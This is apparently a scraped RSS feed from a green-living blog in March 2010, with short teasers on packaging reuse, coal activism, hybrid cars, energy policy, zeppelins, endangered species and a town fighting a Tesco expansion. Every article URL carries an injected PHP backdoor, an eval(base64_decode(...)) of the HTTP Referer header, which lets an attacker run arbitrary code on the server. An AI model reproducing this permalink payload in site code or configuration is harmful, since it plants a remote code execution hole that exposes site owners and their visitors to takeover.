http://greenworldezine.com Thu, 11 Mar 2010 02:04:06 +0000 http://backend.userland.com/rss092 en A coffee cup as a plant pot, coke cans for Halloween cape, a detergent bottle as worm harvester or washing tablet net bags for toy storage; these are all things people have done with the packaging they found in their daily lives. Reuse is often better than recycling, so ... http://greenworldezine.com/2010/03/11/book-review-designing-for-re-use-the-life-of-consumer-packaging/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ photo via flickr Coal activist Ted Nace today published a must-read post in Grist on the importance of taking on coal via a variety of strategies, effectively coming at the country's Number 1 contributor to climate change from every angle possible. Nace, the man behind the indispensable Coalswarm , ... http://greenworldezine.com/2010/03/10/a-roadmap-for-taking-on-coal-plant-by-plant/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Photo via MotorTrend VW's 2011 Touareg Hybrid The 2010 Geneva Motor Show was filled with so many splashy auto announcements -- Porsche's first ever plug-in hybrid , a new Aud... Read the full story on TreeHugger Originally posted here:  Test Driving Volkswagen's First Hybrid Vehicle: The 2011 Touareg http://greenworldezine.com/2010/03/10/test-driving-volkswagens-first-hybrid-vehicle-the-2011-touareg/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Photo via Whatson The so-called "conventional wisdom" has been pretty unremitting in deeming any sort of comprehensive energy reform legislation dead in the water this year. But that's still not looking to be the case --some rather unlikely champions, including GOP Sen. Lindsey Graham and Independent Sen. Joe Lieberman, ... http://greenworldezine.com/2010/03/10/obama-gathers-bipartisan-group-for-new-energy-reform-thrust/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Photo: Public domain Other Truck Fleets, Pay Attention Did you know that replacing a pre-1994 diesel truck (or at least the engine) with a 2004-2006 model could cut soot pollution by about 2/3, and reduce smog-forming nitrogen oxides (NOx) emissions by more than half? Post 2007 diesel trucks are ... http://greenworldezine.com/2010/03/10/the-port-of-nynj-will-replace-dirty-old-diesel-trucks-to-slash-air-pollution/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Trinity College, Dublin TreeHugger loves Product Service Systems , where you borrow and share instead of own. They are also called libraries, and Kris De Decker of No-Tech Magazine points us to a lovely post by Brian Kaller, a former newspaper reporter now living in rural Ireland. He loves ... http://greenworldezine.com/2010/03/10/there-could-be-libraries-for-everything/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Image: massaud Concocting crazy flying machines has long been a favorite hobby of mankind. Our generation, accustomed to being whisked to our destinations on commercial airliners, hardly gives a thought to some of the crazy inventions of earlier eras. But clouds are on the horizon. Whether due to peak ... http://greenworldezine.com/2010/03/10/are-zeppelins-the-future-of-air-travel-slideshow/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Credit: Giant Salamander Protection International It's polite to ask before eating the last cookie, or the last piece of cheese, or the last animal of its kind on Earth. Actually, you can't have permission for that last one: you can't eat endangered species. You're just asking for bad karma ... http://greenworldezine.com/2010/03/10/endangered-and-threatened-species-that-are-apparently-delicious-please-dont-eat-them/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ photo: BP Greenopia has updated their guide to the greenest oil companies --though it may seem like it, it's not entirely an oxymoron--and BP is still on top. The other positions have shifted a bit, with Sunoco and Hess taking second and third place:... Read the full story on ... http://greenworldezine.com/2010/03/10/bp-still-ranked-greenest-oil-company-by-greenopia-citgo-brings-up-the-rear/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Image from Mail online There can hardly be a town without Tesco in Britain. The supermarket controls 30% of the business in the country and has stores everywhere. As it expands relentlessly it often wipes out small local businesses in its way. Sheringham, a resort town of 7,500 people ... http://greenworldezine.com/2010/03/10/town-battles-supermarket-expansion-and-wins/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/